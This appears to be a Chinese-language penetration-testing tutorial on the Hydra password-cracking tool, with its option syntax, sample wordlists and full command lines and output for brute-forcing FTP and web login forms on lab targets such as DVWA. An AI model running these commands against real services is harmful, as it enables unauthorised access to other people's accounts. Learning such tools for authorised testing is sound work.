语法
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解
-S 大写，采用SSL链接
-s <PORT>小写，可通过这个参数指定非默认端口-l <LOGIN>指定破解的用户，对特定用户破解
-L <FILE>指定用户名字典
-p <PASS>小写，指定密码破解，少用，一般是采用密码字典-P <FILE>大写，指定密码字典
-e <ns>可选选项，n：空密码试探，s：使用指定用户和密码试探
-C <FILE>使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数
-M <FILE>指定目标列表文件一行一条
-o <FILE>指定结果输出文件
-f在使用-M参数以后，找到第一对登录名或者密码的时候中止破解
-t <TASKS>同时运行的线程数，默认为16
-w <TIME>设置最大超时的时间，单位秒，默认是30s
-v / -V显示详细过程
server目标ip
service
指定服务名，支持的服务和协议：telnet
ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form
http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2
smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
具体示例， 首先要备好用户名和密码列表
root@kali:~/DailyPentest/BruteForce# more user.list psswd.list :::::::::::::: user.list :::::::::::::: admin root hello wokao msfadmin ccadmin :::::::::::::: psswd.list :::::::::::::: 1 111 22222 11111 123 1234 123456 msfadmin love admin123 lovemm
破ftp/telnet/ssh等，方法类似，只要确定对方相应端口是否有打开即可进行破解
root@kali:~/DailyPentest/BruteForce# hydra -L ./user.list -P psswd.list -e ns -t 20 192.168.0.102 ftp Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:17:06 [DATA] 20 tasks, 1 server, 78 login tries (l:6/p:13), ~3 tries per task [DATA] attacking service ftp on port 21 [21][ftp] host: 192.168.0.102 login: msfadmin password: msfadmin
利用-M参数可以批量破解主机。

破http post form，这个稍麻烦一点，需要抓包并按规则写下输入信息
root@kali:~/DailyPentest/BruteForce# hydra -L ~/DailyPentest/BruteForce/user.list -P ~/DailyPentest/BruteForce/psswd.list 192.168.0.102 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=1ba0d80129e941f900a95135cc49ef54" Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:23:21 [DATA] 16 tasks, 1 server, 66 login tries (l:6/p:11), ~4 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.102 login: admin password: 123 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-01 22:23:25
get方式提交，破解web登录
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交，破解web登录：
该软件的强大之处就在于支持多种协议的破解，同样也支持对于web用户界面的登录破解，get方式提交的表单比较简单，这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是，如果目标网站登录时候需要验证码就无法破解了。
带参数破解如下：
<form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form>
假设有以上一个密码登录表单，我们执行命令：
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
破解的用户名是admin，密码字典是pass.lst，破解结果保存在ok.lst，-t 是同时线程数为1，-f 是当破解了一个密码就停止，ip 是本地，就是目标ip，http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性，后面<title>中的内容是表示错误猜解的返回信息提示，可以自定义。
对dvwa brute form界面的破解
root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list 192.168.0.104 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e" Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:14:44 [DATA] 16 tasks, 1 server, 130 login tries (l:10/p:13), ~8 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.104 login: admin password: 123 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:14:51
：H其实是用来手动添加Header 域的， 比如上面的我们手动添加了 ：H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4， 这其实是告诉hydra每次get或者post的时候要添加上这个：H后面的头部的域。没有这个选项无法成功。。
